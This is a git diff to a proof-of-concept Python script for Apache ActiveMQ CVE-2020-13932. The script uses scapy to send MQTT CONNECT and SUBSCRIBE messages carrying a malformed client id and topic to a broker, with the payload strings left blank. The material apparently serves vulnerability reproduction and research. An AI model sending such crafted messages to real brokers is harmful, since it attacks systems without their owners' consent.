diff --git a/cve/apache-activemq/2020/CVE-2020-13932/poc.py b/cve/apache-activemq/2020/CVE-2020-13932/poc.py index eaa3ca14..d85d0d51 100644 --- a/cve/apache-activemq/2020/CVE-2020-13932/poc.py +++ b/cve/apache-activemq/2020/CVE-2020-13932/poc.py @@ -1,18 +1,22 @@ -from scapy.contrib.mqtt import * -from scapy.compat import raw import time import socket +from scapy.contrib.mqtt import * +from scapy.compat import raw -brokerIP = "" # input the server IP here -brokerPort = 1883 # The default listen port of MQTT is 1883 -clientid = "" # malformed clientid +brokerIP = "" # input the server IP here +brokerPort = 1883 # The default listen port of MQTT is 1883 +clientid = "" #Malformed Clientid +malformedTopic = "" # Malformed Topic if __name__ == '__main__': connMessage = MQTT() / MQTTConnect(protoname="MQTT", protolevel=4, clientId=clientid) - # craft the malformed connect message + # Malformed Connect Message + subMessage = MQTT(QOS=1) / MQTTSubscribe(topics=MQTTTopicQOS(topic=malformedTopic, QOS=0), msgid=1) + # Malformed Subscribe Message conn = socket.socket() conn.connect((brokerIP, brokerPort)) conn.send(raw(connMessage)) - # Then check the dashboard to see malformed connection - time.sleep(20) - conn.close() \ No newline at end of file + time.sleep(1) + conn.send(raw(subMessage)) + input() # Keep the MQTT Connection + conn.close()